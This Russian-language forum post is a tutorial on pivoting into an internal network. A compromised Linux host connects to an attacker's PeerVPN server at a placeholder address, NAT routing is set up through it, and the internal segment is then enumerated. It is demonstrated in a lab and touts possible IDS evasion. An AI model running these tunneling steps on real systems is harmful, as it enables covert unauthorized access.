Пассажир старой школы: поворот сети с помощью PeerVPN

  • Автор темы Автор темы ADMIN
  • Дата начала Дата начала

ADMIN

Administrator
ADMIN
Регистрация
18 Окт 1989
Сообщения
1,408
Реакции
93
Баллы
48
☑ ДЕПОЗИТ
0$
PeerVPN — более старое решение для создания VPN, но даже его можно использовать для перехода через внешний скомпрометированный хост.

PeerVPN — старое решение для создания VPN, но даже его можно использовать для перехода через внешний скомпрометированный хост. В этой статье я покажу, как можно использовать PeerVPN для поворота
Caster - Oldschool Passenger

вступление​

Есть еще один метод разворота с использованием старой программы PeerVPN . Идея довольно проста: настройте VPN-сервер, подключите к нему скомпрометированный хост, затем настройте маршрутизацию и NAT. При этом PeerVPN использует инкапсуляцию UDP вместе с протоколом RX для более устойчивого соединения. Таким образом, вся связь между VPN-сервером и VPN-клиентом будет осуществляться на уровне UDP.
Этот метод пришел мне в голову совершенно случайно и на самом деле не актуален, так как у нас есть более современные решения в виде Nebula, ZeroTier и остальных. Так что эта работа построена только на мотивах творчества.
Возможно, этот метод еще не обнаружен системами IDS и его вполне можно использовать.
Поскольку PeerVPN является легальным программным обеспечением, мы снова имеем дело с понятием «Жизнь за счет земли».

Отказ от ответственности​

Статья носит ознакомительный характер и предназначена для специалистов в области безопасности, проводящих тестирование по контракту. Автор и редакция не несут ответственности за любой вред, причиненный использованием представленной информации. Распространение вредоносного ПО, нарушение работы систем и нарушение тайны переписки будут преследоваться по закону.

Сценарий​

oldschool-passenger-scheme.png

Идея достаточно проста: настройте VPN-сервер на хосте злоумышленника, настройте адресацию внутри сети VPN, затем подключите скомпрометированный хост к VPN-серверу и настройте маршрутизацию NAT для получения доступа к нисходящему сегменту сети (в этом сценарии предполагается, что жертва — скомпрометированный внешний сервер под Linux с двумя интерфейсами)
Этот поворотный вектор может развиваться либо из Интернета, либо непосредственно внутри инфраструктуры, поскольку PeerVPN независим от Интернета.
В этом сценарии я демонстрирую общую концепцию. Он может отличаться от вашего пентест-проекта.

Настройка PeerVPN на стороне злоумышленника​

PeerVPN очень старый, последняя версия вышла еще в 2016 году, но тем не менее он будет работать.
Для начала необходимо скачать PeerVPN, в архиве будет исполняемый файл, поэтому проблем со сборкой не возникнет.
caster@kali:~$ curl -LO https://peervpn.net/files/peervpn-0-044-linux-x86.tar.gz
caster@kali:~$ tar xzvf peervpn*
caster@kali:~$ cd peervpn-0-044/
caster@kali:~/peervpn-0-044$ ls
license.txt peervpn peervpn.conf
caster@kali:~/peervpn-0-044$
Теперь нам нужно подготовиться peervpn.confк тому, чтобы он работал в режиме сервера. Но перед этим нам нужно сгенерировать безопасный секретный ключ.
PeerVPN использует общий ключ, который может содержать до 512 символов, для аутентификации компьютеров в сети. Чтобы гарантировать защиту сетевого трафика, очень важно выбирать надежные значения. Вы можете сгенерировать необходимый ключ, используяopenssl
caster@kali:~/peervpn-0-044$ openssl rand -base64 382 | tr -d '\n' && echo

imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==

Полученный ключ следует сохранить в одном надежном месте. Он будет использоваться как на сервере, так и на клиенте.

Конфигурационный файл​

Теперь вам нужно настроить серверную часть. В общем, ничего сложного. Укажите networkname, psk, номер порта, активируйте туннельный режим и interface nameадресацию внутри сети VPN.
Как выглядит конфигурация сервера по умолчанию:
default_peervpn
Конфигурационный файл PeerVPN по умолчанию
default_peervpn.conf
7 КБ

В моем случае настройки будут такими:
networkname Oldschool

psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==

enabletunneling yes

interface peervpn0

ifconfig4 10.8.0.1/24

local 0.0.0.0

port 7000

enableipv4 yes

enableipv6 yes

Имя сети: Oldschool
указан PSK.
Активация работы туннеля.
Имя интерфейса: peervpn0
Адрес на интерфейсе — 10.8.0.0.1/24(сетевая адресация 10.8.0.0/24).
Номер порта прослушивателя: 7000
включить IPv4 и IPv6.
Теперь настройка на стороне сервера завершена и сервер можно запустить:
caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>


opening sockets...
IPv4/UDP: ok.
IPv6/UDP: failed.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.

Client ID: BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF

entering main loop...

[0] 0 peers connected.

Скомпрометированный хост​

Исследуя интерфейсы мы понимаем, что есть ens36сеть 172.16.200.0/24, к которой в моем сценарии получит доступ злоумышленник. Но я забегаю немного вперед.
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:b7:41:da brd ff:ff:ff:ff:ff:ff
altname enp2s4
inet 172.16.200.130/24 brd 172.16.200.255 scope global dynamic ens36
valid_lft 1042sec preferred_lft 1042sec

Идентичная ситуация. Скачайте PeerVPN, подготовьте peervpn.conf, подключитесь к серверу, настройте NAT. Подробных комментариев дать не могу, перейдем сразу к настройке.
Только конфигурация для клиента будет выглядеть немного иначе:
networkname Oldschool

psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==

initpeers <attacker_addr> 7000

enabletunneling yes

interface peervpn0

ifconfig4 10.8.0.2/24

enableipv4 yes

enableipv6 yes



Затем запустим peervpnна взломанной машине:
compromised@compromised:~# ./peervpn peervpn.conf

PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>


opening sockets...
IPv4/UDP: ok.
IPv6/UDP: ok.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.

Client ID: 3EB5DEA06669C943B1DDE89822A26588418E143B66152EFFBE9CE879596E5BE1
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF

entering main loop...

[0] 0 peers connected.
[0] resolving <attacker_addr>:7000...
done.
[12] 1 peers connected.

В этой статье я скрываю реальный адрес моего VPS, который в данном сценарии выступает в роли атакующей машины.
Тем временем на стороне нападающего:
caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>


opening sockets...
IPv4/UDP: ok.
IPv6/UDP: failed.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.

Client ID: BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF

entering main loop...

[0] 0 peers connected.
[716] 1 peers connected.

Маршрутизация/NAT​

Интерфейс злоумышленника:
4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
inet 10.8.0.1/24 brd 10.8.0.255 scope global peervpn0
valid_lft forever preferred_lft forever
inet6 fe80::ec66:a6ff:fefe:dc13/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever

Скомпрометированный хост-интерфейс:
4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
inet 10.8.0.2/24 brd 10.8.0.255 scope global peervpn0
valid_lft forever preferred_lft forever
inet6 fe80::b0b2:13ff:fee1:ddd7/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Пинг-попытки:
caster@kali:~/peervpn-0-044$ ping 10.8.0.2
PING 10.8.0.2 (10.8.0.2) 56(84) bytes of data.
64 bytes from 10.8.0.2: icmp_seq=1 ttl=64 time=0.472 ms
64 bytes from 10.8.0.2: icmp_seq=2 ttl=64 time=1.03 ms
64 bytes from 10.8.0.2: icmp_seq=3 ttl=64 time=0.501 ms
64 bytes from 10.8.0.2: icmp_seq=4 ttl=64 time=0.680 ms
64 bytes from 10.8.0.2: icmp_seq=5 ttl=64 time=0.933 ms
64 bytes from 10.8.0.2: icmp_seq=6 ttl=64 time=0.610 ms
^C
--- 10.8.0.2 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5066ms
rtt min/avg/max/mdev = 0.472/0.703/1.025/0.208 ms
Ранее злоумышленник узнал, что за скомпрометированным хостом находится 172.16.200.0/24сеть, через которую его необходимо маршрутизировать 10.8.0.2— адрес скомпрометированной машины внутри сети PeerVPN.
caster@kali:~/peervpn-0-044$ sudo route add -net 172.16.200.0 netmask 255.255.255.0 gw 10.8.0.2
Но этого недостаточно. На скомпрометированном хосте необходимо настроить правило NAT, которое маскирует трафик из сети PeerVPN в 172.16.200.0/24сеть. Также самое главное не забыть включить маршрутизацию на хосте.
compromised@compromised:~# sysctl -w net.ipv4.ip_forward=1
compromised@compromised:~# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o ens36 -j MASQUERADE
Теперь злоумышленник сможет взаимодействовать с 172.16.200.0/24сетью через скомпрометированный хост.

Влияние​

НетЭксек:
(NetExec) caster@kali:~/NetExec$ NetExec smb 172.16.200.0/24
SMB 172.16.200.134 445 HALFFACE [*] Windows 10 / Server 2019 Build 19041 x64 (name:HALFFACE) (domain:HalfFace) (signing:False) (SMBv1:False)
SMB 172.16.200.131 445 TALKTOME [*] Windows 10 / Server 2019 Build 19041 x64 (name:TALKTOME) (domain:TalkToMe) (signing:False) (SMBv1:False)
SMB 172.16.200.132 445 EMBRACE [*] Windows 10 / Server 2019 Build 19041 x64 (name:EMBRACE) (domain:Embrace) (signing:False) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Нмап:
caster@kali:~$ sudo nmap -Pn -sS -n -p 22,445,23 172.16.200.0/24 --min-rate=5000 -oA init-enumeration
caster@kali:~$ grep open init-enumeration.gnmap
Host: 172.16.200.130 () Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.132 () Ports: 22/open/tcp//ssh///, 23/filtered/tcp//telnet///, 445/open/tcp//microsoft-ds///
Host: 172.16.200.137 () Ports: 22/open/tcp//ssh///, 23/open/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.138 () Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///


Образцы​

В своей внутренней инфраструктуре я экспериментировал на своих виртуальных машинах. Сохраняйте образцы трафика, все инкапсулировано в UDP с участием RX.
Я использовал NetExec и Nmap
Злоумышленник (VPN-сервер):192.168.1.183
Жертва (VPN-клиент):192.168.1.185
образец старой школы-пассажира

oldschool-пассажир-sample.pcap
593 КБ

Другой​

Используя старое решение, такое как PeerVPN, я продемонстрировал метод разворота туннелей, который может быть полезен в случае взлома внешней инфраструктуры.
Я снова использовал что-то вроде концепции «Жизнь за счет земли», поскольку PeerVPN является законным программным обеспечением.
 
Защита от мошенничества: Использование посредника минимизирует риски столкнуться с «продавцами-однодневками» или недобросовестными заказчиками, которые исчезают после получения предоплаты или результата работы.
Назад
Сверху